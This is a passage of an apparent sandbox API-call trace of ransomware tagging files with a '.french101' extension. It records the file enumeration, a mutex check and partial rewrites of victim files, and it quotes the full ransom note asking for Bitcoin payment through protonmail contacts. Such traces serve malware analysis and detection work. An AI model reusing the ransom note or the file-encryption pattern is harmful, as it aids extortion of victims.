dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.116] SetFileTime (hFile=0x35c, lpCreationTime=0x19e884, lpLastAccessTime=0x19e87c, lpLastWriteTime=0x19e874) returned 1 [0267.116] CloseHandle (hObject=0x35c) returned 1 [0267.116] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\BQNm0bd=m2wUvOvhllqDAlYwmoAH7=95JexDcqm+YgHUlUGsktIlxNEVreE.french101", dwFileAttributes=0x80) returned 1 [0267.117] CloseHandle (hObject=0x35c) returned 0 [0267.117] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.117] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.117] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.117] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.117] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0267.117] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.117] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.117] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0267.117] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.117] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0267.117] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e8d0 | out: lpFindFileData=0x19e8d0) returned 0x6da1d0 [0267.117] FileTimeToLocalFileTime (in: lpFileTime=0x19e8e4, lpLocalFileTime=0x19e864 | out: lpLocalFileTime=0x19e864) returned 1 [0267.117] FileTimeToDosDateTime (in: lpFileTime=0x19e864, lpFatDate=0x19e8b2, lpFatTime=0x19e8b0 | out: lpFatDate=0x19e8b2, lpFatTime=0x19e8b0) returned 1 [0267.117] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0267.118] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.118] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.118] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0267.118] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.118] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.118] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0267.118] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0267.118] ReadFile (in: hFile=0x35c, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0267.118] CloseHandle (hObject=0x35c) returned 1 [0267.118] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0267.118] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0267.118] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0267.118] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0267.119] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0267.119] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.119] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0267.119] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0267.119] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0267.119] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.119] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0267.119] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.119] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0267.119] CharLowerBuffW (in: lpsz="Oye6Orm9Wa6BwMMDUOA8uplze8AQ6=kea5QA3YzSafs.french101", cchLength=0x35 | out: lpsz="oye6orm9wa6bwmmduoa8uplze8aq6=kea5qa3yzsafs.french101") returned 0x35 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.119] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.120] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.120] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0267.123] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0267.123] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0267.123] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.123] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.123] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.123] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.124] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0267.124] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0267.124] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.124] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0267.124] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.124] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0267.124] CharLowerBuffW (in: lpsz="p+AUurmLLA4pklFbQwsS0h4tR97v8pPB3rEzEPCA.french101", cchLength=0x32 | out: lpsz="p+auurmlla4pklfbqwss0h4tr97v8ppb3rezepca.french101") returned 0x32 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.124] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0267.124] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0267.124] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0267.125] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0267.125] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0267.125] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.125] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0267.125] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0267.125] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0267.125] GlobalUnlock (hMem=0x3f40014) returned 0 [0267.125] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0267.125] GlobalUnlock (hMem=0x3f4000c) returned 0 [0267.125] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0267.125] CharLowerBuffW (in: lpsz="ParameterInfo.xml", cchLength=0x11 | out: lpsz="parameterinfo.xml") returned 0x11 [0267.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0267.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.125] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pë\x19", lpUsedDefaultChar=0x0) returned 1 [0267.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0267.126] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0267.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlw", lpUsedDefaultChar=0x0) returned 4 [0267.126] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0267.126] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0267.126] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0267.126] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0267.127] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml", dwFileAttributes=0x20) returned 1 [0267.127] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x426ae [0267.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.128] SetFilePointer (in: hFile=0x35c, lDistanceToMove=272046, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x426ae [0267.128] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c78*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0267.162] CloseHandle (hObject=0x35c) returned 1 [0267.238] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.238] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.238] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x426af [0267.238] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0267.238] SetFilePointer (in: hFile=0x35c, lDistanceToMove=272046, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x426ae [0267.239] SetEndOfFile (hFile=0x35c) returned 1 [0267.241] CloseHandle (hObject=0x35c) returned 1 [0267.241] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0267.241] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0267.241] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x426ae [0267.241] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0267.242] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=58004, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xe294 [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=86156, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1508c [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=117485, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1caed [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=155048, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x25da8 [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=180844, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2c26c [0267.242] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0267.242] SetFilePointer (in: hFile=0x35c, lDistanceToMove=215703, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: 